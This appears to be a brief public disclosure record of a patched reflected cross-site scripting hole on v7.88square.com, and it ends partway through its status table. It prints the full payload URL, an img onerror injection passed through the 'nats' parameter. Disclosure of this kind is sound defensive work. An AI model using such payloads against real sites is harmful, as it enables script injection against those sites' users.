v7.88square.com XSS vulnerability

Vulnerable URL: http://v7.88square.com/?nats=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27;%3EMzQ4OS4xNy42LjYuMC4wLjAuMC4w Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 15:31 GMT Vulnerability type:| XSS Vulnerability status:|...